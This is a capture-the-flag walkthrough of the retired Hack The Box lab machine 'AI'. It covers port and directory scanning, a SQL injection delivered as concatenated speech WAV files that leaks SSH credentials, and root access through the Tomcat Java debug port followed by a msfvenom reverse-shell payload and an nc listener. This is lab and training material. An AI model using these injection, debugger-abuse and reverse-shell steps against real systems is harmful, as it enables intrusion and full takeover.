This post documents the complete walkthrough of AI, a retired vulnerable VM created by MrR3boot, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


AI is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.5 ( at 2019-11-11 09:26:26 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on                                    
Discovered open port 80/tcp on

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
|   256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_  256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!

Looks like http service is the only way to gain a foothold. This is what the site looks like.

Directory/File Enumeration

Let’s see what we can glean from gobuster and SecLists.

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40 -x php,html,log,txt,sql,wav -s '200,301,302' -e -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,log,txt,sql,wav
[+] Expanded:       true
[+] Timeout:        10s
2019/11/11 09:43:58 Starting gobuster
=============================================================== (Status: 200) (Status: 200) (Status: 200) (Status: 301) (Status: 200) (Status: 200) (Status: 200) (Status: 301)
2019/11/11 09:46:26 Finished

In addition to the presence of ai.php, there are db.php and intelligence.php. What’s really interesting is the page intelligence.php. It seems to be suggesting that the input we should give is to be encoded as a WAV file.

Microsoft Speech API / Windows Speech Recognition

If you look closely at the bottom of intelligence.php, it says “We mostly use similar approach as Microsoft does.”, which suggests Microsoft Speech API and Windows Speech Recognition. Pivoting on this insight, I came to this piece of Windows Speech Recognition documentation suggesting how to voice certain special characters that are not on intelligence.php.

Now, onto the other side of the equation…Text-to-Speech (or TTS). For that, I’m using SAPI5 TTSAPP from eSpeak.

This neat little application allows me to save the voice commands directly as WAV files. Perfect.

Not your normal SQL Injection

Armed with the ability to generate voice commands as WAV files, I build a library of WAV primitives, which allows me to concatenate together a SQL injection string using sox.

Here’s a demostration how it works.

Database Discovery - MySQL

UNION-based SQL Injection

# sox single_quote.wav space.wav union.wav space.wav select.wav space.wav version.wav open_paren.wav close_paren.wav space.wav sql_comment.wav sqli.wav

Information Leakage - Credentials

Now for the big one. By the way, I have to guess the table name, which is the only down side of this otherwise excellent box.

# sox single_quote.wav space.wav union.wav space.wav select.wav space.wav username.wav from.wav users.wav space.wav sql_comment.wav sqli.wav

And now for the password.

Voila. The credentials are (alexa:H,Sq9t6}a<)?q93_).

Low-Privilege Shell

SSH is the only way in at this point.

There you go. The file user.txt is alexa’s home directory.

Privilege Escalation

During enumeration of alexa’s account, I notice that Apache Tomcat is running as root. That’s almost assuredly the tell-tale sign of privilege escalation. Here’s why.

Let’s see what other ports are listening. This step is important and it’ll become evident later.

Java Debug Wire Protocol (JDWP)

Java Debug Wire Protocol (JDWP) is listening at 8000/tcp. That means we can attach a debugger to Tomcat via 8000/tcp, yo!

There’s no jdb on the box. Fret not, we can perform a local port forwarding when we connect to the box via SSH like so.

# ssh -L 8000: -L 8005: -L  8009: -L 8080: [email protected]

Once that’s done, we can connect to the debugee (Tomcat) with our jdb.

Mind you, the Tomcat instance is killed and launched every two minutes, so the window of opportunity is pretty short.

Listing all threads

We are interested in main because that’s where all the action originates.

Suspend all threads / Enter a thread / View the stack

Let’s place a breakpoint in According to the documentation, it listens for a connection to be made and accepts. It blocks until a connection is made. Recall the step where we list the listening ports? Because we don’t know which port ServerSocket is bound to, we may need to try ports 8005/tcp or 8009/tcp to trigger the breakpoint.

Insert breakpoint / Trigger breakpoint

The ServerSocket object was bound to 8005/tcp.


Getting root shell

Let’s get that root shell! We can use msfvenom to generate a reverse shell like so.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=1234 -f elf -o rev

I’ll leave it as an exercise how that to transfer the file over to the box.

Over at my nc listener, a reverse shell appears…

With that, getting root.txt is trivial.